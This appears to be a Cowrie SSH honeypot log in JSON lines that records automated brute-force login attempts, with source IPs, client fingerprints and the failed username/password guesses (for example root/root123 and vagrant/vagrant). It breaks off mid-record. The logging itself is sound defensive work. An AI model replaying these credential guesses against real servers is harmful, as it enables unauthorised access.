{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:02.913013Z","src_ip":"20.203.42.204","session":"da7ae6115ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":60528,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1fe2d79454","protocol":"ssh","message":"New connection: 122.176.122.24:60528 (159.203.135.109:22) [session: 6d1fe2d79454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:17.582809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:17.588846Z","src_ip":"122.176.122.24","session":"6d1fe2d79454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:17.863613Z","src_ip":"122.176.122.24","session":"6d1fe2d79454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:18.981547Z","src_ip":"122.176.122.24","session":"6d1fe2d79454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:20.257836Z","src_ip":"122.176.122.24","session":"6d1fe2d79454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":57344,"dst_ip":"159.203.135.109","dst_port":22,"session":"7386fe7b23e1","protocol":"ssh","message":"New connection: 103.107.60.45:57344 (159.203.135.109:22) [session: 7386fe7b23e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:32.444344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:32.450047Z","src_ip":"103.107.60.45","session":"7386fe7b23e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:32.668254Z","src_ip":"103.107.60.45","session":"7386fe7b23e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:33.558817Z","src_ip":"103.107.60.45","session":"7386fe7b23e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:34.775546Z","src_ip":"103.107.60.45","session":"7386fe7b23e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.247","src_port":33540,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3813f7cfd9","protocol":"ssh","message":"New connection: 196.92.7.247:33540 (159.203.135.109:22) [session: da3813f7cfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:50.391294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:50.396139Z","src_ip":"196.92.7.247","session":"da3813f7cfd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:50.522582Z","src_ip":"196.92.7.247","session":"da3813f7cfd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:51.056422Z","src_ip":"196.92.7.247","session":"da3813f7cfd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:52.185394Z","src_ip":"196.92.7.247","session":"da3813f7cfd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:55.513449Z","src_ip":"116.110.158.146","session":"4cc6ba44f973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:13.224809Z","src_ip":"116.110.158.146","session":"4cc6ba44f973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"83.5","message":"Connection lost after 83.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:19.917202Z","src_ip":"116.110.158.146","session":"4cc6ba44f973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":42866,"dst_ip":"159.203.135.109","dst_port":22,"session":"9da0f0e41dc5","protocol":"ssh","message":"New connection: 156.38.73.89:42866 (159.203.135.109:22) [session: 9da0f0e41dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.273529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.277509Z","src_ip":"156.38.73.89","session":"9da0f0e41dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.482635Z","src_ip":"156.38.73.89","session":"9da0f0e41dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad7c4aa0180f","protocol":"ssh","message":"New connection: 194.113.233.25:39138 (159.203.135.109:22) [session: ad7c4aa0180f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.573188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.576927Z","src_ip":"194.113.233.25","session":"ad7c4aa0180f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.670456Z","src_ip":"194.113.233.25","session":"ad7c4aa0180f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweden","message":"login attempt [root/sweden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:29.953577Z","src_ip":"194.113.233.25","session":"ad7c4aa0180f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:30.314516Z","src_ip":"156.38.73.89","session":"9da0f0e41dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:31.054860Z","src_ip":"194.113.233.25","session":"ad7c4aa0180f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:31.517186Z","src_ip":"156.38.73.89","session":"9da0f0e41dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":46502,"dst_ip":"159.203.135.109","dst_port":22,"session":"015a30878086","protocol":"ssh","message":"New connection: 27.79.1.70:46502 (159.203.135.109:22) [session: 015a30878086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:38.183447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:38.227040Z","src_ip":"27.79.1.70","session":"015a30878086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:39.414465Z","src_ip":"27.79.1.70","session":"015a30878086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:46.833284Z","src_ip":"27.79.1.70","session":"015a30878086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37574,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4bb490ff98","protocol":"ssh","message":"New connection: 147.45.199.80:37574 (10.17.0.5:22) [session: 4e4bb490ff98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:47.577384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:47.581584Z","src_ip":"147.45.199.80","session":"4e4bb490ff98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 